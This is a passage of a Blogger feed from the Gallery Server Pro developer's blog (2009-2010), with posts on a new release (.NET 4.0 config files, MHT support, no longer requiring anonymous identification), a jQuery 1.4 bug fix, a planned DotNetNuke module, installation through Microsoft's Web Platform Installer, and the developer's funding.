inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="DifferentWebConfigFiles" border="0" alt="DifferentWebConfigFiles" src="http://lh4.ggpht.com/_qh4427KVFsk/S707C-8TnXI/AAAAAAAAAMg/6FTrjqvZI4k/DifferentWebConfigFiles%5B8%5D.png?imgmax=800" width="501" height="241" /&gt; &lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;There are six versions of web.config, but only one is necessary. Pick the one you need, rename it to web.config, and delete the rest. The versions with “sqlserver” in the name can be used in medium trust environments where SQL Server is the only data option. These have been purged of references to SQLite, which requires full trust.&lt;/p&gt;  &lt;p&gt;For example, if you are installing to a freshly built server with .NET 4.0, rename the file web_4.0.config to web.config and delete the remaining config files. In this case, you do not need to have .NET 2.0, 3.0, 3.5, or MS Ajax Extensions installed.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Support for web archive files (.mht)&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Thanks to a &lt;a href="http://www.galleryserverpro.com/forum/yaf_postst966_MHT-Format.aspx"&gt;suggestion by a user&lt;/a&gt;, I added support for web archive files (.mht). These are files that contain web pages, including images, in a single file. You can create an MHT file by navigating to a web site in Internet Explorer and choosing the Save As… command. It is an efficient way to capture the contents of a web page at a single point in time, in a single file.&lt;/p&gt;  &lt;p&gt;For example, I used Internet Explorer to save the home page of &lt;a href="http://www.galleryserverpro.com"&gt;www.galleryserverpro.com&lt;/a&gt; to a file named gsp.mht and then I uploaded it to my gallery. Here is how it looks when viewed in Internet Explorer: &lt;/p&gt;  &lt;p&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="mht_in_ie" border="0" alt="mht_in_ie" src="http://lh3.ggpht.com/_qh4427KVFsk/S707DStg55I/AAAAAAAAAMk/3XZ0vnanGr4/mht_in_ie%5B4%5D.jpg?imgmax=800" width="504" height="706" /&gt; &lt;/p&gt;  &lt;p&gt;The MHT file is is displayed in an iframe. Notice how, even though it is a single file, it preserves the text, images, and styles of the original web page.&lt;/p&gt;  &lt;p&gt;Unfortunately, only Internet Explorer can render MHT files. For other browsers, GSP gracefully degrades to a helpful message about your options for viewing it:&lt;/p&gt;  &lt;p&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="mht_in_chrome" border="0" alt="mht_in_chrome" src="http://lh3.ggpht.com/_qh4427KVFsk/S707DWdkiHI/AAAAAAAAAMo/1wziI5UCl8E/mht_in_chrome%5B8%5D.jpg?imgmax=800" width="504" height="321" /&gt; &lt;/p&gt;  &lt;p&gt;This feature was implemented entirely by adding a few lines of text to galleryserverpro.config. All I did was define the MHT file extension:&lt;/p&gt;  &lt;p&gt;&lt;font color="#800000"&gt;&amp;lt;mimeType fileExtension=&amp;quot;.mht&amp;quot; browserId=&amp;quot;default&amp;quot; type=&amp;quot;message/rfc822&amp;quot; allowAddToGallery=&amp;quot;false&amp;quot; /&amp;gt;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;…and then define an HTML template to display this particular MIME type. Notice how I define the default template and then another one for Internet Explorer:&lt;/p&gt;  &lt;p&gt;&lt;font color="#800000"&gt;&amp;lt;mediaObject     &lt;br /&gt;&amp;#160; mimeType=&amp;quot;message/rfc822&amp;quot;&amp;gt;      &lt;br /&gt;&amp;#160; &amp;lt;browsers&amp;gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &amp;lt;browser id=&amp;quot;default&amp;quot;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; htmlOutput=&amp;quot;&amp;amp;lt;p class=&amp;amp;quot;gsp_msgfriendly&amp;amp;quot;&amp;amp;gt;This browser cannot display web archive files (.mht). Use Internet Explorer or download it by clicking the download link in the toolbar.&amp;amp;lt;/p&amp;amp;gt;&amp;quot; /&amp;gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &amp;lt;browser id=&amp;quot;ie&amp;quot;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; htmlOutput=&amp;quot;&amp;amp;lt;p&amp;amp;gt;&amp;amp;lt;a href=&amp;amp;quot;{MediaObjectUrl}&amp;amp;quot;&amp;amp;gt;Enlarge to fit browser window&amp;amp;lt;/a&amp;amp;gt;&amp;amp;lt;/p&amp;amp;gt;&amp;amp;lt;iframe src=&amp;amp;quot;{MediaObjectUrl}&amp;amp;quot; frameborder=&amp;amp;quot;0&amp;amp;quot; style=&amp;amp;quot;width:680px;height:600px;border:1px solid #000;&amp;amp;quot;&amp;amp;gt;&amp;amp;lt;/iframe&amp;amp;gt;&amp;quot; /&amp;gt;      &lt;br /&gt;&amp;#160; &amp;lt;/browsers&amp;gt;      &lt;br /&gt;&amp;lt;/mediaObject&amp;gt;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;The ability to create and edit HTML templates to customize the display of media files is a powerful one that really sets GSP apart from the competition. The Admin Guide has more information if you want to explore this feature.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Easier integration into other web applications&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Gallery Server Pro no longer requires anonymous identification to be enabled at the application level. Previously, the web.config file enabled anonymous identification so that GSP could store user preferences for anonymous users. &lt;/p&gt;  &lt;p&gt;In previous versions, a problem appeared when developers tried to integrate the gallery into an existing web site that was incompatible with anonymous identification. For example, &lt;a title="Yet Another Forum" href="http://www.yetanotherforum.net/"&gt;Yet Another Forum&lt;/a&gt; throws an error when this feature is enabled. Since GSP throws an error when it is disabled, you were in a no-win situation.&lt;/p&gt;  &lt;p&gt;Anonymous identification was only marginally useful to GSP, as I really only used it to keep track of whether the user had requested the image metadata popup window to be visible. Since I could easily handle this with a session variable, I refactored the code to use session to store this info for anonymous users. Logged on users continue to store user preferences in profile properties, just like before.&lt;/p&gt;  &lt;p&gt;The most significant aspect of this change is that the web.config file for the web application no longer needs this line:&lt;/p&gt;  &lt;p&gt;&lt;font color="#800000"&gt;&amp;lt;anonymousIdentification enabled=&amp;quot;true&amp;quot; /&amp;gt;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;The versions of web.config that ship with GSP already have it removed. If you have integrated GSP into an existing version, you should remove this line. Also, update the profile property ShowMediaObjectMetadata to disable anonymous identification:&lt;/p&gt;  &lt;p&gt;&lt;font color="#800000"&gt;&amp;lt;add name=&amp;quot;ShowMediaObjectMetadata&amp;quot; defaultValue=&amp;quot;false&amp;quot; type=&amp;quot;String&amp;quot; allowAnonymous=&amp;quot;false&amp;quot;/&amp;gt;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Other enhancements&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;I will quickly mention the remaining enhancements.&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;&lt;strong&gt;Backup file now compressed in ZIP archive.&lt;/strong&gt; The Backup/Restore page in the Site Admin area now packages the backup file in a ZIP file before sending it to the user. Since the backup file is XML that is easily compressed, this creates a compressed file that is a fraction of the size of the original. You can restore with the zipped file, too, which is especially useful if you are on a network with a painfully slow upload speed.&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Files are guaranteed to be added in alphabetical order during a synchronization.&lt;/strong&gt; Most users discovered that files added during a synchronization were added in alphabetical order of the file name, but for some people the order seemed random. I added a specific step where I sort the list of files that are given to me by the operating system before adding them to the gallery. This should ensure media files are always added in alphabetical order.&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Automatically clear deleted users from album owner field.&lt;/strong&gt; This affects the small percentage of users who integrate GSP into an existing web site where users may be deleted by a mechanism other than the Manage Users page in the Site Admin area. For example, you might have implemented your own user management page. This change helps ensure data integrity.&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Improved date parsing of image metadata.&lt;/strong&gt; Gallery Server Pro is now a little smarter about handling partial dates in image metadata. I am referring to dates that contain only the year or only the month and year. For example, if you used Adobe Photoshop Elements to specify a picture was taken in 2007 – without specifying the month or day - GSP could not correctly read the date. This has been fixed.&lt;/li&gt; &lt;/ol&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-4813162447421623567?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/4813162447421623567/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=4813162447421623567' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/4813162447421623567'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/4813162447421623567'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2010/04/new-version-adds-features-support-for.html' title='New version adds features, support for .NET 4.0, and fixes bugs'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_qh4427KVFsk/S707C-8TnXI/AAAAAAAAAMg/6FTrjqvZI4k/s72-c/DifferentWebConfigFiles%5B8%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-4586234416040915248</id><published>2010-01-21T20:59:00.001-06:00</published><updated>2010-01-21T20:59:18.232-06:00</updated><title type='text'>Minor bug fixed by jQuery 1.4</title><content type='html'>&lt;p&gt;I am surprised I didn’t notice this before or that no one reported it, but there is a small bug in 2.3.3512 on the Manage Users page in the Site admin area. To reduce information overload when user albums are enabled, only user-created roles are shown by default on the Roles tab of the Edit User dialog window, as seen here:&lt;/p&gt;  &lt;p&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="Edit_User" border="0" alt="Edit_User" src="http://lh5.ggpht.com/_qh4427KVFsk/S1kUhId3QQI/AAAAAAAAAMU/nBHoSIMuMGg/Edit_User%5B4%5D.png?imgmax=800" width="647" height="507" /&gt; &lt;/p&gt;  &lt;p&gt;If you want to see ALL roles – including the ones created by GSP to manage security for user albums, then select the checkbox &lt;em&gt;Show roles that support the album ownership and user album features&lt;/em&gt;. When you do, a little jQuery script runs that shows all of these roles. In this screen shot, two additional roles materialize out of thin air when the checkbox is selected:&lt;/p&gt;  &lt;p&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="EditUser_WithAlbumOwnerRole" border="0" alt="EditUser_WithAlbumOwnerRole" src="http://lh4.ggpht.com/_qh4427KVFsk/S1kUhVuBlhI/AAAAAAAAAMY/pNnpqWBnzS4/EditUser_WithAlbumOwnerRole%5B4%5D.png?imgmax=800" width="646" height="506" /&gt; &lt;/p&gt;  &lt;p&gt;Or at least it does in browsers other than Internet Explorer 8. When IE8 is in the default Standards Mode, selecting the checkbox does… nothing. Well, almost nothing. If the checkbox is selected and you close the dialog box and then make it reappear by editing the same user, the roles will correctly display. But that is hardly the desired behavior.&lt;/p&gt;  &lt;p&gt;The first thing I did was download the new jQuery 1.4 release and try it out. As luck would have it, the problem is solved! Selecting the checkbox correctly toggles the visibility of the roles in all major browsers. Phew!&lt;/p&gt;  &lt;p&gt;The next version of GSP will either include the latest version of jQuery or else it will link to the hosted one at Google. My current thinking is that it will default to the hosted version for performance reasons but you can always switch to a local copy if you want.&lt;/p&gt;  &lt;p&gt;But you don’t have to wait for this fix. There are two ways to update your current installation of GSP to the latest jQuery library:&lt;/p&gt;  &lt;p&gt;1. Download the latest minified version of jQuery and copy it to the gs\script directory in your GSP installation. As of today the file is named jquery-1.4.min.js. Then update the jQueryScriptPath setting in galleryserverpro.config to point to this file.&lt;/p&gt;  &lt;p&gt;2. Even easier is to tell GSP to use the hosted version at Google. Open galleryserverpro.config and update the jQueryScriptPath setting to &lt;a title="http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js" href="http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js"&gt;http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;jQuery is a powerful library that helps make web pages come alive with rich interactivity. Currently I only use it in a few places in the Site admin area, but I plan to start using it throughout GSP. It will let us do some really cool things that previously I considered far too difficult to even attempt. Stay tuned!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-4586234416040915248?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/4586234416040915248/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=4586234416040915248' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/4586234416040915248'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/4586234416040915248'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2010/01/minor-bug-fixed-by-jquery-14.html' title='Minor bug fixed by jQuery 1.4'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_qh4427KVFsk/S1kUhId3QQI/AAAAAAAAAMU/nBHoSIMuMGg/s72-c/Edit_User%5B4%5D.png?imgmax=800' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-6025615516009146015</id><published>2009-12-08T20:40:00.001-06:00</published><updated>2009-12-08T20:40:05.676-06:00</updated><title type='text'>GSP to be released as DotNetNuke module</title><content type='html'>&lt;p&gt;The headline gives away the surprise at the end of this post, but first let me tell you what’s been going on.&lt;/p&gt;  &lt;p&gt;I previously blogged about how I am taking a temporarily break from full-time work on GSP to restock the savings account through a programming contract. That started in August and looks like it will continue for a few more months. It has been a real bummer being away from GSP – it is so unsatisfying to have so many things I want to do but not enough time to do them.&lt;/p&gt;  &lt;p&gt;Your support continues to amazes me. In the last couple weeks there were three $100 donations. I truly appreciate every gift and am doing my best to get into a position where GSP is self-sustaining. Ultimately I plan to bring developers on staff to speed up the pace of development.&lt;/p&gt;  &lt;p&gt;Work on GSP continues, but at a little slower pace than when I was at it full-time. Each evening I have a go, beginning with catching up on forum threads. There are a couple things you can expect in the coming months.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;SQLite support in the Web Platform Installer (WPI)&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Microsoft included support for SQLite in Web Platform Installer 2.0, released a few weeks ago. I am working with them to create a new package that takes advantage of this. This will allow an even easier installation process for GSP because you can use the file-based, self-contained SQLite database engine rather than SQL Server.&lt;/p&gt;  &lt;p&gt;As long as I am modifying the package, I am trying to add support for choosing the type of SQL authentication for SQL Server users. The current version requires that you use a SQL login account – support for Windows authentication is not supported. Sounds easy enough, but the Web Platform Installer does not appear to allow for this. I am waiting to hear back from Microsoft as to whether we can somehow shoehorn this in. If not, we’ll have to settle for SQL-only authentication for a while.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Bug fixes&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;There are a few bug fixes I’d like to get out, so I’ll probably refresh all the packages when the WPI version is released.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;DotNetNuke module&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Today I am publicly announcing that Gallery Server Pro will soon be released as a DotNetNuke module. You have probably heard of &lt;a href="http://www.dotnetnuke.com"&gt;DotNetNuke&lt;/a&gt; – it’s the most popular Content Management System (CMS) for .NET. Below is a screenshot of a default DNN installation with the GSP module running in a page.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh6.ggpht.com/_qh4427KVFsk/Sx8OAbPpfhI/AAAAAAAAAME/nIM3wni_Rz8/s1600-h/dnn_gsp%5B3%5D.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="dnn_gsp" border="0" alt="dnn_gsp" src="http://lh6.ggpht.com/_qh4427KVFsk/Sx8OBMW27GI/AAAAAAAAAMQ/fzeSFeM3Joc/dnn_gsp_thumb%5B1%5D.png?imgmax=800" width="654" height="541" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;The module preserves all the features of GSP 2.3 while integrating with core DNN functionality such as user membership and site-wide searching. I am nearly done with the coding – just a handful of items left that I think will take about 40 hours or so to finish up. Finding those 40 hours is a real challenge, so I can’t provide a firm release date. I can tell you it won’t be within the next month, but I can also tell you that I want to get it out the door as soon as possible.&lt;/p&gt;  &lt;p&gt;The module will be released as a commercial product, although no price has yet been set. The goal is that the revenue will pay the bills so that I can continue to offer the stand-alone version of GSP as a free open source product. Let me repeat – there are absolutely no plans to begin charging for the regular version of GSP. I adore the donation model and it is one of the things I am most proud of. That will not change.&lt;/p&gt;  &lt;p&gt;If you are wondering why someone would pay for a module when they can have the regular app for free, I have thought of that, too. And I’m not worried. Developers who build DNN sites are accustomed to paying for modules that provide the desired functionality. They are typically building sites for customers who are paying good money and they don’t mind shelling out a few bucks to get what they need. Having access to the free regular version doesn’t really help them because it won’t integrate into DNN.&lt;/p&gt;  &lt;p&gt;Stay tuned for more information.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-6025615516009146015?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/6025615516009146015/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=6025615516009146015' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/6025615516009146015'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/6025615516009146015'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2009/12/gsp-to-be-released-as-dotnetnuke-module.html' title='GSP to be released as DotNetNuke module'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/_qh4427KVFsk/Sx8OBMW27GI/AAAAAAAAAMQ/fzeSFeM3Joc/s72-c/dnn_gsp_thumb%5B1%5D.png?imgmax=800' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-1882943082991146778</id><published>2009-10-28T22:11:00.001-05:00</published><updated>2009-10-28T22:49:45.944-05:00</updated><title type='text'>Installing Gallery Server Pro Just Got A Lot Easier</title><content type='html'>&lt;p&gt;I am pleased to announce that I teamed up with Microsoft to create a greatly improved installation experience using their &lt;a href="http://www.microsoft.com/web/downloads/platform.aspx"&gt;Web Platform Installer&lt;/a&gt;. Installing GSP is now as simple as clicking a few buttons and filling out a few textboxes. No more manually creating the web application or wrestling with NTFS permissions!&lt;/p&gt;  &lt;p&gt;&lt;a title="Install Gallery Server Pro using the Microsoft Web Platform Installer Button" href="http://www.microsoft.com/web/gallery/install.aspx?appsxml=www.microsoft.com%2fweb%2fwebpi%2f2.0%2fWebApplicationList.xml&amp;amp;appid=121"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: inline; margin-left: 0px; border-top: 0px; margin-right: 0px; border-right: 0px" title="wpiBadgeGreen_3" border="0" alt="wpiBadgeGreen_3" align="right" src="http://lh3.ggpht.com/_qh4427KVFsk/SukHuBAVzYI/AAAAAAAAAL0/SbMVVjA5ktA/wpiBadgeGreen_3%5B6%5D.png?imgmax=800" width="176" height="51" /&gt;&lt;/a&gt;Plus, GSP is also being distributed by Microsoft through their &lt;a title="Microsoft&amp;#39;s Web Application Gallery" href="http://www.microsoft.com/web/gallery/"&gt;Web Application Gallery&lt;/a&gt;. Web traffic doubled the day this went live, and it has only increased since then!&lt;/p&gt;  &lt;p&gt;The Web Platform Installer has two requirements:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;You must have permission to run the program&lt;/li&gt;    &lt;li&gt;You must use SQL Server to store the data&lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Those of you who use hosting companies that restrict you from running applications on the server – or who want to use SQLite as your data store – should continue to use the existing installation process. Support for SQLite will be coming soon.&lt;/p&gt;  &lt;p&gt;I will step through the installation process to show you how easy it is.&lt;/p&gt;  &lt;p&gt;When you click the installation icon (above or on the download page), The Web Platform Installer starts. If you do not have it installed, you’ll be prompted to install it.&lt;/p&gt;  &lt;p&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="wpi1" border="0" alt="wpi1" src="http://lh3.ggpht.com/_qh4427KVFsk/SukHu4Ta5HI/AAAAAAAAALA/ucaniq9WyDY/wpi1%5B10%5D.png?imgmax=800" width="644" height="479" /&gt; &lt;/p&gt;  &lt;p&gt;Gallery Server Pro is pre-selected, so click Install. The installer determines which dependencies are needed. You list could include more than shown here.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh4.ggpht.com/_qh4427KVFsk/SukHvj4Ad8I/AAAAAAAAALE/EWNI7V6kr-g/s1600-h/wpi2%5B11%5D.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="wpi2" border="0" alt="wpi2" src="http://lh5.ggpht.com/_qh4427KVFsk/SukHw8-sv4I/AAAAAAAAALI/kvnzHvLQYjM/wpi2_thumb%5B7%5D.png?imgmax=800" width="644" height="443" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;Note that the installer will want to install SQL Server Express. If you already have SQL Server available on your network, you can skip installing it by clicking the X next to it.&lt;/p&gt;  &lt;p&gt;When you click I Accept, the installation begins.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh4.ggpht.com/_qh4427KVFsk/SukHx8on7vI/AAAAAAAAALM/DVi9TNRhpPE/s1600-h/wpi3%5B3%5D.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="wpi3" border="0" alt="wpi3" src="http://lh3.ggpht.com/_qh4427KVFsk/SukHyfGcz0I/AAAAAAAAALQ/YO0w4r-IVmI/wpi3_thumb%5B1%5D.png?imgmax=800" width="644" height="443" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;After your requirements are installed, the installer asks where it should install Gallery Server Pro.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh3.ggpht.com/_qh4427KVFsk/SukHyn5vomI/AAAAAAAAALU/GtR3PZkRJqE/s1600-h/wpi4%5B7%5D.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="wpi4" border="0" alt="wpi4" src="http://lh3.ggpht.com/_qh4427KVFsk/SukHzPZddyI/AAAAAAAAALY/6lU5yFsf8ko/wpi4_thumb%5B5%5D.png?imgmax=800" width="644" height="459" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;Then it will ask for some SQL connection info. Remember that the installer supports ONLY SQL Server. Support for SQLite will be coming soon.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh3.ggpht.com/_qh4427KVFsk/SukHzZ5UANI/AAAAAAAAALc/patmyXDgI8A/s1600-h/wpi5%5B4%5D.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="wpi5" border="0" alt="wpi5" src="http://lh6.ggpht.com/_qh4427KVFsk/SukH0Ej0WQI/AAAAAAAAALg/Vp7dkO7dstM/wpi5_thumb%5B2%5D.png?imgmax=800" width="537" height="772" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;The installation is finished. Woo hoo! Look Ma! No messing with IIS Manager, Network Service accounts, or NTFS!&lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh4.ggpht.com/_qh4427KVFsk/SukH0ajR5cI/AAAAAAAAALk/kUYQ6TiBzPY/s1600-h/wpi6%5B3%5D.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="wpi6" border="0" alt="wpi6" src="http://lh3.ggpht.com/_qh4427KVFsk/SukH06ACREI/AAAAAAAAALo/rkJUX8Nzt1c/wpi6_thumb%5B1%5D.png?imgmax=800" width="644" height="443" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;Click the link to launch your new gallery:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh6.ggpht.com/_qh4427KVFsk/SukH1ZGjmNI/AAAAAAAAALs/cxtRxcyg_2g/s1600-h/wpi7%5B3%5D.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="wpi7" border="0" alt="wpi7" src="http://lh4.ggpht.com/_qh4427KVFsk/SukH2QLtwAI/AAAAAAAAALw/9kW6bS7WKmA/wpi7_thumb%5B1%5D.png?imgmax=800" width="642" height="484" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;Pretty sweet, huh? This is a significant step toward making GSP easier to install and use. Microsoft has been very helpful and they deserve our thanks for supporting open source projects like this. And I look forward to spending more time adding features to GSP and less time in the forums explaining how to give the Network Service account modify permission to a directory. Cheers!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-1882943082991146778?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/1882943082991146778/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=1882943082991146778' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/1882943082991146778'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/1882943082991146778'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2009/10/installing-gallery-server-pro-just-got.html' title='Installing Gallery Server Pro Just Got A Lot Easier'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/_qh4427KVFsk/SukHuBAVzYI/AAAAAAAAAL0/SbMVVjA5ktA/s72-c/wpiBadgeGreen_3%5B6%5D.png?imgmax=800' height='72' width='72'/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-6738992370989211859</id><published>2009-09-30T19:09:00.001-05:00</published><updated>2009-10-01T20:36:41.630-05:00</updated><title type='text'>A temporary diversion</title><content type='html'>&lt;p&gt;Ever since introducing the product key a little over a year ago, donations have gone from a trickle to a consistent several hundred dollars per month, with a few months hitting $1000. Your support keeps me from having to get a real job so I can focus on GSP full time.&lt;/p&gt;  &lt;p&gt;At least, that is the goal. In reality, my expenses are quite a bit more than $1000 a month, and this summer my savings account hit rock bottom. I called up a few consulting companies, and a fine one named &lt;a href="http://www.beacontechinc.com/"&gt;Beacon Technologies&lt;/a&gt; hooked me up with a contract at &lt;a href="http://www.cunamutual.com"&gt;CUNA Mutual Group&lt;/a&gt;. I am now working for them full time for the next few months.&lt;/p&gt;  &lt;p&gt;Fortunately, these lucrative contracts bring in more money than I can spend, so after a few months the savings will be stoked and I can get back to full time work on GSP. I can’t wait to work on all the cool new features that are swimming around in my head. I am passionate about keeping GSP the top .NET web gallery and expect that it will soon become the #1 web gallery. I will be publishing a roadmap of the next major features in the near future.&lt;/p&gt;  &lt;p&gt;Your donations have a direct effect on how much time I spend on GSP. Keep them coming so I can get back to GSP development. Thanks!&lt;/p&gt;  &lt;p&gt;During this time I will continue to answer your questions on the forums and provide advice and assistance on your installation and customization efforts. Note that I am not available for contract work at this time, but will be when my CUNA contract is over, which is expected to last through summer 2010.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-6738992370989211859?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/6738992370989211859/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=6738992370989211859' title='1 Comments'/><link rel='edit' type='application/atom+xml' 